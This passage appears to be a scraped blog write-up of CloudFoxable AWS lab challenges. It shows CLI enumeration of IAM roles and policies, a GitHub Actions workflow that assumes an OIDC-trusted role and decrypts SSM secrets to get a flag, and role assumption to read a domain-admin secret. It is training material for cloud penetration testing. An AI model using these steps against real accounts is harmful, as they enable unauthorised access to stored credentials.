parameter.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 adicpnn@laboratory cfx_trust_me % aws ssm describe-parameters --profile cloudfoxable ... { \u0026#34;Parameters\u0026#34;: [ { \u0026#34;Name\u0026#34;: \u0026#34;trust-her\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/trust-her\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-17T16:21:20.835000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;trust-him\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/trust-him\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;String\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-17T16:21:20.839000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;trust-me\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/trust-me\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;SecureString\u0026#34;, \u0026#34;KeyId\u0026#34;: \u0026#34;alias/aws/ssm\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-17T16:21:20.812000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; }, { \u0026#34;Name\u0026#34;: \u0026#34;trust-them\u0026#34;, \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:ssm:eu-central-1:129323993607:parameter/trust-them\u0026#34;, \u0026#34;Type\u0026#34;: \u0026#34;String\u0026#34;, \u0026#34;LastModifiedDate\u0026#34;: \u0026#34;2026-03-17T16:21:21.405000+01:00\u0026#34;, \u0026#34;LastModifiedUser\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/terraform\u0026#34;, \u0026#34;Version\u0026#34;: 1, \u0026#34;Tier\u0026#34;: \u0026#34;Standard\u0026#34;, \u0026#34;Policies\u0026#34;: [], \u0026#34;DataType\u0026#34;: \u0026#34;text\u0026#34; } ] ... Looks like there\u0026rsquo;s more than one place I need to look into.\nExecution I went ahead and created a GitHub Action meant to assume this role, and read the flags in the SSM parameter store.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 name: Assume t_rodman on: workflow_dispatch: permissions: id-token: write contents: read jobs: deploy: runs-on: ubuntu-latest steps: - name: Checkout uses: actions/checkout@v4 - name: Debug OIDC token run: | TOKEN=$(curl -H \u0026#34;Authorization: Bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN\u0026#34; \\ \u0026#34;$ACTIONS_ID_TOKEN_REQUEST_URL\u0026amp;audience=sts.amazonaws.com\u0026#34; | jq -r \u0026#39;.value\u0026#39;) echo $TOKEN | cut -d \u0026#34;.\u0026#34; -f2 | base64 -d | jq - name: Configure AWS credentials uses: aws-actions/configure-aws-credentials@v4 with: audience: sts.amazonaws.com role-to-assume: \u0026#39;arn:aws:iam::129323993607:role/t_rodman\u0026#39; role-session-name: GitHubActionsSession aws-region: eu-central-1 - name: Test access run: aws sts get-caller-identity - name: Get trust-her param from SSM id: get_param1 run: | PARAM_VALUE1=$(aws ssm get-parameter \\ --name \u0026#34;trust-her\u0026#34; \\ --with-decryption \\ --output text) echo \u0026#34;PARAM_VALUE1=$PARAM_VALUE1\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - name: Print trust-her run: echo \u0026#34;Fetched parameter is $PARAM_VALUE1\u0026#34; - name: Get trust-him param from SSM id: get_param2 run: | PARAM_VALUE2=$(aws ssm get-parameter \\ --name \u0026#34;trust-him\u0026#34; \\ --with-decryption \\ --output text) echo \u0026#34;PARAM_VALUE2=$PARAM_VALUE2\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - name: Print trust-him run: echo \u0026#34;Fetched parameter is $PARAM_VALUE2\u0026#34; - name: Get trust-me param from SSM id: get_param3 run: | PARAM_VALUE3=$(aws ssm get-parameter \\ --name \u0026#34;trust-me\u0026#34; \\ --with-decryption \\ --output text) echo \u0026#34;PARAM_VALUE3=$PARAM_VALUE3\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - name: Print trust-me run: echo \u0026#34;Fetched parameter is $PARAM_VALUE3\u0026#34; - name: Get trust-them param from SSM id: get_param4 run: | PARAM_VALUE4=$(aws ssm get-parameter \\ --name \u0026#34;trust-them\u0026#34; \\ --with-decryption \\ --output text) echo \u0026#34;PARAM_VALUE4=$PARAM_VALUE4\u0026#34; \u0026gt;\u0026gt; $GITHUB_ENV - name: Print trust-them run: echo \u0026#34;Fetched parameter is $PARAM_VALUE4\u0026#34; All that\u0026rsquo;s left to do, is go to GitHub, and manually dispatch the action.\n1 2 3 4 5 6 7 8 9 10 11 12 13 2026-03-18T08:13:32.2754895Z ##[group]Run echo \u0026#34;Fetched parameter is $PARAM_VALUE4\u0026#34; 2026-03-18T08:13:32.2755328Z echo \u0026#34;Fetched parameter is $PARAM_VALUE4\u0026#34; 2026-03-18T08:13:32.2803249Z shell: /usr/bin/bash -e {0} 2026-03-18T08:13:32.2803490Z env: 2026-03-18T08:13:32.2803680Z AWS_DEFAULT_REGION: eu-central-1 2026-03-18T08:13:32.2803942Z AWS_REGION: eu-central-1 2026-03-18T08:13:32.2804345Z AWS_ACCESS_KEY_ID: *** 2026-03-18T08:13:32.2804687Z AWS_SECRET_ACCESS_KEY: *** 2026-03-18T08:13:32.2829119Z AWS_SESSION_TOKEN: *** 2026-03-18T08:13:32.2829790Z PARAM_VALUE1: PARAMETER\tarn:aws:ssm:eu-central-1:129323993607:parameter/trust-her\ttext\t2026-03-17T16:23:48.036000+00:00\ttrust-her\tSecureString\tnot_the_flag\t1 2026-03-18T08:13:32.2830858Z PARAM_VALUE2: PARAMETER\tarn:aws:ssm:eu-central-1:129323993607:parameter/trust-him\ttext\t2026-03-17T16:23:48.063000+00:00\ttrust-him\tString\tnot_the_flag\t1 2026-03-18T08:13:32.2831962Z PARAM_VALUE3: PARAMETER\tarn:aws:ssm:eu-central-1:129323993607:parameter/trust-me\ttext\t2026-03-17T16:23:47.998000+00:00\ttrust-me\tSecureString\tFLAG{trustMe::the_lines_have_been_blurred}\t1 2026-03-18T08:13:32.2833019Z PARAM_VALUE4: PARAMETER\tarn:aws:ssm:eu-central-1:129323993607:parameter/trust-them\ttext\t2026-03-17T16:23:48.049000+00:00\ttrust-them\tString\tnot_the_flag\t1 Retrospective While this scenario appears in a offensive security lab, the interaction itself is not inherently insecure. In fact, using federated access to assume an AWS role directly from a workflow action aligns with AWS best practices.\nHowever, this approach does expand the attack surface of the AWS account. GitHub repositories can be compromised, and if a repository is trusted to access AWS resources, it effectively becomes part of the trust boundary. As a result, an attacker who gains control of such a repository could leverage this trust to perform lateral movement into the AWS environment.\n","permalink":"https://adicpnn.com/blog/cloudfoxable/trust-me/","summary":"\u003c!-- raw HTML omitted --\u003e\n\u003cp\u003eThere\u0026rsquo;s a role that trusts the repo you just created. Find the role and exploit the trust to access the flag.\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003ch3 id=\"information-gathering\"\u003eInformation Gathering\u003c/h3\u003e\n\u003cp\u003eI\u0026rsquo;ll start off by enumerating AWS roles in my sandbox account, hoping to see a trust policy for the repo i\u0026rsquo;ve created \u003ccode\u003eadicpnn/cfx_trust_me\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eadicpnn@laboratory aws % aws iam list-roles --profile cloudfoxable\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;Path\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;/\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;RoleName\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;t_rodman\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;RoleId\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;AROAR4HCPRIDWZYYOATJQ\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;Arn\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;arn:aws:iam::129323993607:role/t_rodman\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;CreateDate\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;2026-03-17T15:21:22+00:00\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;AssumeRolePolicyDocument\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s2\"\u003e\u0026#34;Version\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;2012-10-17\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"s2\"\u003e\u0026#34;Statement\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"s2\"\u003e\u0026#34;Sid\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"s2\"\u003e\u0026#34;Effect\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;Allow\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"s2\"\u003e\u0026#34;Principal\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                            \u003cspan class=\"s2\"\u003e\u0026#34;Federated\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;arn:aws:iam::129323993607:oidc-provider/token.actions.githubusercontent.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"o\"\u003e}\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"s2\"\u003e\u0026#34;Action\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;sts:AssumeRoleWithWebIdentity\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"s2\"\u003e\u0026#34;Condition\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                            \u003cspan class=\"s2\"\u003e\u0026#34;StringLike\u0026#34;\u003c/span\u003e: \u003cspan class=\"o\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                \u003cspan class=\"s2\"\u003e\u0026#34;token.actions.githubusercontent.com:sub\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;repo:adicpnn/cfx_trust_me:*\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                                \u003cspan class=\"s2\"\u003e\u0026#34;token.actions.githubusercontent.com:aud\u0026#34;\u003c/span\u003e: \u003cspan class=\"s2\"\u003e\u0026#34;sts.amazonaws.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                            \u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                        \u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                    \u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"o\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"o\"\u003e}\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"s2\"\u003e\u0026#34;MaxSessionDuration\u0026#34;\u003c/span\u003e: \u003cspan class=\"m\"\u003e3600\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e...\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eWhat this trust policy statement allows, is for GitHub Actions to assume the role \u003ccode\u003et_rodman\u003c/code\u003e using OpenID Connect. I\u0026rsquo;ll keep this information and mind, and keep unraveling the exploit chain.\u003c/p\u003e","title":"Cloudfoxable - Trust me"},{"content":" In some challenges, you might not see an IAM role or an IP address as the starting point, but rather, an interesting ARN or something like that.\nSometimes during cloud penetration tests, we first find something interesting and then work backwards to see who has access to it. Is it just the Administrators? Well, that\u0026rsquo;s not really a big deal. Is it all developers, or all users, or anyone in the world? That might be a really big deal!\nSo in this challenge, we\u0026rsquo;d like you to get comfortable finding who has access to the interesting thing. For now, the interesting thing is just another secret in secretsmanager, but in later challenges, and on cloud penetration tests, this approach will become quite important.\nSo, go find out who has access to DomainAdministrator-Credentials in secretsmanager and then use your cloudfoxable profile to access that role and grab the secret.\nInformation Gathering First, I want to double check the secret, and see if there\u0026rsquo;s any resource policy attached to it.\n1 2 3 4 5 adicpnn@laboratory % aws secretsmanager get-resource-policy --secret-id DomainAdministrator-Credentials --profile cloudfoxable { \u0026#34;ARN\u0026#34;: \u0026#34;arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX\u0026#34;, \u0026#34;Name\u0026#34;: \u0026#34;DomainAdministrator-Credentials\u0026#34; } We can test access to it and see that indeed the starting user cannot read this secret.\n1 2 3 adicpnn@laboratory % aws secretsmanager get-secret-value --secret-id DomainAdministrator-Credentials --profile cloudfoxable aws: [ERROR]: An error occurred (AccessDeniedException) when calling the GetSecretValue operation: User: arn:aws:iam::129323993607:user/ctf-starting-user is not authorized to perform: secretsmanager:GetSecretValue on resource: DomainAdministrator-Credentials because no identity-based policy allows the secretsmanager:GetSecretValue action To think \u0026lsquo;backwards\u0026rsquo; as this challenge suggets, I want to try and find any permissions policy that grants access to this secret. To limit information to only possible candidates, I will filter for currently attached policies only.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 adicpnn@laboratory % aws iam list-policies --profile cloudfoxable --only-attached ... { \u0026#34;PolicyName\u0026#34;: \u0026#34;corporate-domain-admin-password-policy\u0026#34;, \u0026#34;PolicyId\u0026#34;: \u0026#34;ANPAR4HCPRIDU3YGYLMRT\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy\u0026#34;, \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;DefaultVersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;AttachmentCount\u0026#34;: 1, \u0026#34;PermissionsBoundaryUsageCount\u0026#34;: 0, \u0026#34;IsAttachable\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:58+00:00\u0026#34;, \u0026#34;UpdateDate\u0026#34;: \u0026#34;2026-03-11T15:43:58+00:00\u0026#34; }, ... Lo and behold, something interesting pops up. To fully confirm, I need to read this policy.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 adicpnn@laboratory cloud % aws iam get-policy-version --policy-arn arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy --version-id v1 --profile cloudfoxable { \u0026#34;PolicyVersion\u0026#34;: { \u0026#34;Document\u0026#34;: { \u0026#34;Statement\u0026#34;: [ { \u0026#34;Action\u0026#34;: [ \u0026#34;secretsmanager:GetSecretValue\u0026#34; ], \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Resource\u0026#34;: [ \u0026#34;arn:aws:secretsmanager:eu-central-1:129323993607:secret:DomainAdministrator-Credentials-WvVKMX\u0026#34; ] } ], \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34; }, \u0026#34;VersionId\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;IsDefaultVersion\u0026#34;: true, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:43:58+00:00\u0026#34; } } This is exactly what I\u0026rsquo;ve been looking for. Now the tricky part is finding which user, role or group might have this policy attached. The plan is to list all roles, then get all policies attached to them.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 adicpnn@laboratory cloud % aws iam list-roles --profile cloudfoxable | jq \u0026#39;.Roles[].RoleName\u0026#39; | sed \u0026#39;s/\u0026#34;//g\u0026#39; \u0026gt; roles adicpnn@laboratory cloud % cat roles aaronson Alexander-Arnold Beard brian_mcbride christian_pulisic deployment_automation Ertz event_bridge_sns_rce_role fox Kent ... adicpnn@laboratory cloud % while IFS= read -r line; do echo \u0026#34;$line\u0026#34;; aws iam list-attached-role-policies --role-name $line --profile cloudfoxable; done \u0026lt; roles ... Alexander-Arnold { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;corporate-domain-admin-password-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/corporate-domain-admin-password-policy\u0026#34; } ] } ... The \u0026ldquo;Alexander-Arnold\u0026rdquo; role has this policy attached, but the question is, can I assume this role?\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 adicpnn@laboratory cloud % aws iam list-user-policies --user-name ctf-starting-user --profile cloudfoxable { \u0026#34;PolicyNames\u0026#34;: [] } adicpnn@laboratory cloud % aws iam list-attached-user-policies --user-name ctf-starting-user --profile cloudfoxable { \u0026#34;AttachedPolicies\u0026#34;: [ { \u0026#34;PolicyName\u0026#34;: \u0026#34;CloudFox-policy-perms\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/CloudFox-policy-perms\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;its-a-secret-policy\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:policy/its-a-secret-policy\u0026#34; }, { \u0026#34;PolicyName\u0026#34;: \u0026#34;SecurityAudit\u0026#34;, \u0026#34;PolicyArn\u0026#34;: \u0026#34;arn:aws:iam::aws:policy/SecurityAudit\u0026#34; } ] } adicpnn@laboratory cloud % aws iam list-groups-for-user --user-name ctf-starting-user --profile cloudfoxable { \u0026#34;Groups\u0026#34;: [] } adicpnn@laboratory cloud % aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::129323993607:user/ctf-starting-user --action-names sts:AssumeRole --resource-arns arn:aws:iam::129323993607:role/Alexander-Arnold { \u0026#34;EvaluationResults\u0026#34;: [ { \u0026#34;EvalActionName\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34;, \u0026#34;EvalResourceName\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Alexander-Arnold\u0026#34;, \u0026#34;EvalDecision\u0026#34;: \u0026#34;implicitDeny\u0026#34;, \u0026#34;MatchedStatements\u0026#34;: [], \u0026#34;MissingContextValues\u0026#34;: [], \u0026#34;EvalDecisionDetails\u0026#34;: {}, \u0026#34;ResourceSpecificResults\u0026#34;: [ { \u0026#34;EvalResourceName\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Alexander-Arnold\u0026#34;, \u0026#34;EvalResourceDecision\u0026#34;: \u0026#34;implicitDeny\u0026#34;, \u0026#34;MatchedStatements\u0026#34;: [], \u0026#34;MissingContextValues\u0026#34;: [] } ] } ] } I couldn\u0026rsquo;t find a single policy directly or indirectly attached to my user, that would have the Allow iam:AssumeRole statement in it. Even doing a principal policy simulation, I get an implicitDeny.\nBut why can I still assume this role?\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % aws sts assume-role --role-arn arn:aws:iam::129323993607:role/Alexander-Arnold --role-session-name test --profile cloudfoxable { \u0026#34;Credentials\u0026#34;: { \u0026#34;AccessKeyId\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;SessionToken\u0026#34;: \u0026#34;nope\u0026#34;, \u0026#34;Expiration\u0026#34;: \u0026#34;2026-03-12T09:48:18+00:00\u0026#34; }, \u0026#34;AssumedRoleUser\u0026#34;: { \u0026#34;AssumedRoleId\u0026#34;: \u0026#34;AROAR4HCPRIDWPNNITK2C:test\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:sts::129323993607:assumed-role/Alexander-Arnold/test\u0026#34; } } This I found out, comes from a blind-spot in \u0026ldquo;simulate-principal-policy\u0026rdquo;, where the target role\u0026rsquo;s Trust Policy is not evaluated.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 adicpnn@laboratory cloud % aws iam get-role --role-name Alexander-Arnold --profile cloudfoxable { \u0026#34;Role\u0026#34;: { \u0026#34;Path\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;RoleName\u0026#34;: \u0026#34;Alexander-Arnold\u0026#34;, \u0026#34;RoleId\u0026#34;: \u0026#34;AROAR4HCPRIDWPNNITK2C\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::129323993607:role/Alexander-Arnold\u0026#34;, \u0026#34;CreateDate\u0026#34;: \u0026#34;2026-03-11T15:44:13+00:00\u0026#34;, \u0026#34;AssumeRolePolicyDocument\u0026#34;: { \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;arn:aws:iam::129323993607:user/ctf-starting-user\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] }, \u0026#34;MaxSessionDuration\u0026#34;: 3600, \u0026#34;RoleLastUsed\u0026#34;: {} } } Quoting AWS documentation, this is the case of an explicit allow:\nA request results in an explicit deny if an applicable policy includes a Deny statement. If policies that apply to a request include an Allow statement and a Deny statement, the Deny statement trumps the Allow statement. The request is explicitly denied.\nAn implicit denial occurs when there is no applicable Deny statement but also no applicable Allow statement. Because an IAM principal is denied access by default, they must be explicitly allowed to perform an action. Otherwise, they are implicitly denied access.\nWhen you design your authorization strategy, you must create policies with Allow statements to allow your principals to successfully make requests. However, you can choose any combination of explicit and implicit denies.\nExecution Now with all the information aquired on what I need to access, who can access it, and how to get there, victory is in sight. I went ahead and created a new profile in my aws config file.\n1 2 3 4 5 6 7 8 9 10 11 12 13 adicpnn@laboratory cloud % cat ~/.aws/config | tail [profile alexander] region = eu-central-1 role_arn = arn:aws:iam::129323993607:role/Alexander-Arnold source_profile = cloudfoxable adicpnn@laboratory cloud % aws sts get-caller-identity --profile alexander { 